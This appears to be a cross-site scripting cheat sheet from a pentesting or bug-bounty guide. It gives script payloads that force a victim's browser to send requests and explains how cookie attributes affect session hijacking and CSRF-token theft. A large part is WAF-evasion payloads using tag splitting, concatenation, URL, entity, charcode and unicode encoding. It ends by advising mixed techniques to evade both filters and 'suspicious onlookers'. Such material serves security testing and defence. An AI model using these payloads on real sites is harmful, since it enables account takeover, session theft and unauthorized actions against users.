Description
Cross-Site Scripting (aka XSS), the art of exploiting an injection vulnerability in order to:
- Steal sensitive information (API keys or active user sessions)
- Perform unauthorized request on behalf of a victim user (Change their password for them in the background for an ATO or privilege escalation)
- Keylogging (Recording the victims keystrokes)
- Phishing attacks (Make a chrome iframe or JavaScript looking like steams legitimate login page, also called window within a browser attack)
Different Request Types when Performing Cross-Site Scripting
XMLHttpRequests (aka XHR Requests)
For new people, this is a difficult
method to use. In the following sample, it forces a victim to send a GET
request towards /delete-me
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://example.com/delete-me', true);
xhr.send();
</script>
Fetch API Requests (aka Fetch Requests)
For new people, this is an easy
method to use. In the following sample, it forces a victim to send a GET
request towards /delete-me
<script>
fetch('https://example.com/delete-me');
</script>
Differences between the two request methods
Both methods have positive and negative functionalities they can or cannot do. However, this is mostly a concern regarding the more complex attacks towards a victim user. What will be shown here, will be enough to perform simpler attacks towards a victim without worrying about the two language differences but will add more descriptive differences between the two languages in the future. Use the one you are more comfortable with.
Attack Surface Creation via Cookie observation
Session cookie has the HttpOnly
attribute:
- While this may block an attacker from a Session Hijacking by sending the cookie to your collaborator, you may potentially see the session cookie reflected elsewhere in the
body
of a response and therefore extract the session from there, subsequently bypassing theHttpOnly
attribute. - You can still send authenticated requests on behalf of a victim. An example would be towards the user settings where it may allow a victim to change their email. Using this finction might send a POST request with an anti CSRF-token. You can therefore extract the CSRF-token in the body and later send the "change email" as a POST request with the stolen CSRF-token. Allowing a malicious actor to password reset the account.
Session cookie has the Secure
attribute:
- Forces the cookie to only be sent via
HTTPS
and notHTTP
. An adversary may otherwise sniff the localnetwork for non-secure connections and see if these credentials are transmitted through the connection. This also means that your collaborator (for stealing cookies), might need to be aHTTPS
if this flag is set.
Session cookie with SameSite
attribute:
The same site cookie is literally meant to protect against Cross-Site Attacks
, like XSS or CSRF etc.
SameSite not defined
Google Chrome
will default
this cookie to Lax
according to PortSwigger and many other web browser will likely follow.
FireFox
have for example implemented TotalCookieProtection by default
to help users stay more private and more secure. The laws of Lax
attribute is (most likely depending on browser) therefore applied here!
Set-Cookie: PHPSESSID=h5onbf7pctbr0t68adugdp2611; path=/; HttpOnly; Secure
SameSite set to None
This will simply disable
SameSite all together for the cookie, allowing for example a Session Hijacking
by sending the cookie's value to your collaborator.
Set-Cookie: PHPSESSID=h5onbf7pctbr0t68adugdp2611; path=/; SameSite=None; HttpOnly; Secure
SameSite set to Lax
An XSS may exist on https://app.example.com
but you need to fetch for a CSRF token
in https://internal.example.com/my-page
to be used in another exploitative attack, like changing a victims email with a CSRF token included in the request. This would work if the Lax
attribute is set on the session cookie, however, you can not send this cookie to your collaborator or send a POST
request using this cookie. What you can do, is make requests on behalf of the user, like sending an authenticated GET
request towards /change-email
with a stolen CSRF token
.
Another attack that could be attempted is to see if the session cookie value is reflected anywhere in the HTTP response body in order to steal it there and send it to the collaborator, thus bypassing Lax
attribute not sending the cookie value to your collaborator.
Set-Cookie: PHPSESSID=h5onbf7pctbr0t68adugdp2611; path=/; SameSite=Lax; HttpOnly; Secure
SameSite set to Strict
This restricts the cookie to be sent via any cross-site attacks.
Set-Cookie: PHPSESSID=h5onbf7pctbr0t68adugdp2611; path=/; SameSite=Strict; HttpOnly; Secure
Samples of Alert Payloads with Obfuscations
The following samples represent <script>alert(1)</script>
This section will give you a bunch of different alerts that may bypass WAFs. If they pop, you have a successful XSS! alert()
is not the only function that may be called. A less common one is prompt()
works as well if alert()
is blacklisted.
Tag Obfuscation
When <
followed by a letter is blocked, try:
<\img src=x...
</img src=x...
<%00img src=x...
<%08img src=x...
<%09img src=x...
<%0Dimg src=x...
<%0Aimg src=x...
<%0D%0Aimg src=x...
Tag Splitting
The payload is split into two parts, with the opening <script>
tag being split from the rest of the payload. If the application strips the <script>
tag only once, another will take it's place and pop the XSS.
<scr<script>ipt>alert(1)<scr<script>ipt>
Concatenation
Concatenating small parts of the payload to bypass a WAF and be executed in the browser.
var a = "<scr"; var b = "ipt>"; var c = "alert(1)"; var d = "</scr" + "ipt>";
document.write(a + b + c + d);
URL Encoding
Sometimes confuses the applications or WAFs. Can be wise to double encode certain characters too. An example would be <
. Encoded once will become %3c
but to URL encode it twice
, the percentage must be encoded once again, becoming %253c
. Good for when the target application only decodes it once and not multiple times. Thus encoding the precentage and becoming an URL encoded <
in the backend and served to the victim user. The payload sample below is URL encoding once
.
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
HTML Entities
In this example, each character in the payload is represented by its corresponding HTML entity code and depending on the applications interpretation, this may execute.
<script>alert(1)</script>
Charcode Encoding
In this example, the payload is encoded using the String.fromCharCode()
method, which takes Unicode values and converts them to their corresponding characters.
<script>eval(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116,40,49,41,60,47,115,99,114,105,112,116,62))</script>
Comment Confusion
<script>/*@cc_on@*//*@if(@_jscript_version>=5){@end@*/alert(1);/*@end@*/</script>
Unicode Encoding
The payload is represented using Unicode escape sequences.
<script>eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')</script>
Importing JavaScript Files
Google has an alert
that may be called upon if you do not have your own.
https://maps.googleapis.com/maps/api/js?callback=alert()-print
Other
A mixed combination of all of the above techniques are a good way to evade both WAF and in some instances suspicious onlookers trying to identify any malicioud payloads!